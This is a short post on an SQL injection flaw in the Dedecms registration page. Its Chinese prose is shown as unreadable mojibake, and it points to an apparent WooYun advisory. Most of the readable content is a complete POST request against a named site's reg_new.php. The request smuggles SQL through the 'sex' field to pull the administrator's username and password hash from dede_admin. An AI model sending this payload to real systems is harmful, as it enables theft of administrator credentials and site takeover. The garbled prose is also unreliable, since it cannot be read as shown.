֯SQLע©
©ͣ SQLע©Ҫ
Ҫmagic_quotes_gpc=Off,ӦûʲôΣ©.
ԭwooyunһDedecmsע©,òƲû,һ,ԻùԱ.
ϸ˵©
WooYun: Dedecms SQLע䵼˻ƹ©
һ©.ʵ˻ƹ,ԻùԱ.
POSTύ,ʵPOSTύ,ε.
www.political-security.com/member/reg_new.php
POST
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&
userid=c4rp3nt3r&uname=c4rp3nt3r
&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss
&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
%00&vdcode=glos&agree=
ҳ:
[1]